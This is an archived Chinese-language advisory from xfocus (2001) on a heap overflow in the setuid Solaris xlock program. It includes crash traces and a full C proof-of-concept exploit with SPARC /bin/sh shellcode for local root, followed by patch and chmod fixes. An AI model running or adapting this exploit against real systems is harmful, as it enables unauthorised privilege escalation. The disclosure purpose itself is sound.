xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Solaris Xlock 存在缓冲溢出漏洞


发布时间:2001-08-11
更新时间:2001-08-11
严重程度:
威胁程度:本地管理员权限
错误类型:环境错误
利用方式:服务器模式

受影响系统
Sun Solaris 2.6 (SPARC/x86)
Sun Solaris 7 (SPARC/x86)
Sun Solaris 8 (SPARC/x86)
详细描述
Xlock是Solaris OpenView的屏幕锁定工具,它可以锁住服务器等待密码
输入,而默认安装是以SUID ROOT的身份安装。
其在处理环境变量时候没有进行合法的边界检查,结果导致攻击者可以覆盖
heap区域的动态内存边界,问题存在与"XFILESEARCHPATH" 和"XUSERFILESEARCHPATH"
两个变量,xlock调用malloc()函数分配1024字节到内存并把环境变量值保存
到动态内存中,但是xlock没有对拷贝的环境变量进行检查,就可以导致邻近的动态
内存标志被复写,导致在malloc()下次调用的时候产生段错误。

测试代码
bash-2.03$ uname -a
SunOS sun8 5.8 Generic sun4u sparc SUNW,Ultra-5_10
bash-2.03$ cp /usr/openwin/bin/xlock /tmp/xlock
bash-2.03$ export XFILESEARCHPATH=`perl -e 'print "A"x1028'`
bash-2.03$ /tmp/xlock
Segmentation Fault
bash-2.03$ truss -u libc:malloc,free /tmp/xlock
<...snip...>
<- libc:malloc() = 0x1135d0
-> libc:malloc(0x400, 0xffbefa8d, 0xffffffff, 0x1b648)
<- libc:malloc() = 0x1139d0
open("AAAAAAA...AAAAAAAAAAAAAAA", O_RDONLY) Err#78 ENAMETOOLONG
-> libc:free(0x1139d0, 0x0, 0xff31c000, 0x1b648)
<- libc:free() = 0
-> libc:malloc(0x400, 0x12, 0x0, 0x10ed49)
<- libc:malloc() = 0x1139d0
open("/export/home/test/XLock", O_RDONLY) Err#2 ENOENT
-> libc:free(0x1139d0, 0x0, 0xff31c000, 0x7efefeff)
<- libc:free() = 0
-> libc:malloc(0x3, 0x3073b, 0xffffffff, 0x3a300000)
<- libc:malloc() = 0x1135e0
    Incurred fault #6, FLTBOUNDS %pc = 0xFF0C0F4C
      siginfo: SIGSEGV SEGV_MAPERR addr=0x41527F18
    Received signal #11, SIGSEGV [default]
      siginfo: SIGSEGV SEGV_MAPERR addr=0x41527F18
        *** process killed ***


/*
*  xlock.c - Proof of Concept Code for xlock heap overflow bug.
*  Copyright (c) 2001 - Nsfocus.com
*
*  Tested in Solaris 2.6/7/8 SPARC
*
*  DISCLAIMS:
*  This  is a proof of concept code.  This code is for test purpose
*  only and should not be run against any host without permission from
*  the system administrator.
*
*  NSFOCUS Security Team <security@nsfocus.com>
*  http://www.nsfocus.com
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/systeminfo.h>

#define RETLOC  0xffbee8c4  /* default "return address" location (Solaris 7) */
#define SP      0xffbefffc  /* default "bottom" stack address (Solaris 7/8) */

#define VULPROG "/usr/openwin/bin/xlock"
#define NOP     0xaa1d4015      /* "xor %l5, %l5, %l5" */

char      shellcode[] =     /* from scz's shellcode for SPARC */
  "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\xaa\x1d\x40\x15"  
  "\x81\xc3\xe0\x14\xaa\x1d\x40\x15\xaa\x1d\x40\x15\x90\x08\x3f\xff"
  "\x82\x10\x20\x8d\x91\xd0\x20\x08\x90\x08\x3f\xff\x82\x10\x20\x17"
  "\x91\xd0\x20\x08\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65"
  "\x20\x80\x3a\x29\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34"
  "\x92\x0b\x80\x0e\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc"
  "\xc0\x2a\x20\x07\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f"
  "\x82\x10\x20\x01\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";

/* get current stack point address */
long
get_sp(void)
{
  __asm__("mov %sp,%i0");
}

long
get_shelladdr(long sp_addr, char **arg, char **env)
{
  long      retaddr;
  int       i;
  char      plat[256];
  char      pad = 0, pad1;
  int       env_len, arg_len, len;


  /* calculate the length of "VULPROG" + argv[] */
  for (i = 0, arg_len = 0; arg[i]!=NULL ; i++) {
    arg_len += strlen(arg[i]) + 1;
  }
  
  /* calculate the pad nummber . */
  pad = 3 - arg_len % 4;
  printf("shellcode address padding = %d\n", pad);

  memset(env[0], 'A', pad);
  env[0][pad] = '\0';

    /* get environ length */
  for (i = 0, env_len = 0; env[i]!=NULL; i++) {
    env_len += strlen(env[i]) + 1;
  }

  /* get platform info  */
  sysinfo(SI_PLATFORM, plat, 256);

  len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1;
  printf("stack arguments len = %#x(%d)\n", len, len);

  pad1 = len % 4;

  if(pad1 == 3 ) pad1 = 5;
  else pad1 = 4 - pad1;

  printf("the padding zeros number = %d\n\n", pad1);

  /* get the exact shellcode address */
  retaddr = sp_addr - pad1       /* the trailing zero number */
        - strlen(VULPROG) - 1
        - strlen(plat) - 1 ;

  for(i--;i>0;i--) retaddr -= strlen(env[i]) + 1;    

  printf("Using RET address = 0x%x\n", retaddr);
  return retaddr;

} /* End of get_shelladdr */

int
main(int argc, char **argv)
{
  char      buf[2048], fake_chunk[48];
  long      retaddr, sp_addr = SP;
  char     *arg[24], *env[24];
  char      padding[64];
  long      retloc = RETLOC;
  unsigned int   *ptr;
  char      ev1[]="XUSERFILESEARCHPATH=";
  long      ev1_len;
  long      overbuflen = 1024;

  if (argc > 1) /* you need adjust retloc offset in your system */
    retloc += atoi(argv[1]);

  arg[0] = VULPROG;
  arg[1] = NULL;

  bzero(buf, sizeof(buf));
  ev1_len = strlen(ev1);
  memcpy(buf, ev1, ev1_len);
  memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));
  
  env[0] = padding;       /* put padding buffer in env */
  env[1] = shellcode;     /* put shellcode in env */
  env[2] = buf;     /* put overflow environ */    
  env[3] = NULL;    /* end of env */

  /* get stack "bottom" address */
  if(((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */
    sp_addr = SP - 0x0fbf0000;
    retloc -= 0x0fbf0000;
  }

  retaddr = get_shelladdr(sp_addr, arg, env);
  printf("Using retloc = 0x%x \n", retloc);
  
  memset(fake_chunk, '\xff', sizeof(fake_chunk));
  ptr = (unsigned int *) fake_chunk;
  *(ptr + 0) = 0xfffffff9;
  *(ptr + 2) = retaddr - 8;
  *(ptr + 8) = retloc - 8;

  memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));

  execve(VULPROG, arg, env);
  perror("execle");
}
/*                www.hack.co.za       [12 August 2001]*/

解决方案
临时方法:

# chmod a-s /usr/openwin/bin/xlock

或者下载补丁:

SPARC x86
                --------- ---------
  Solaris 8 108652-38 108653-33
  Solaris 7 108376-30 108377-26
  Solaris 2.6 105633-60 106248-45

下载地址:

http://sunsolve.sun.com/securitypatch

相关信息
http://www.nsfocus.com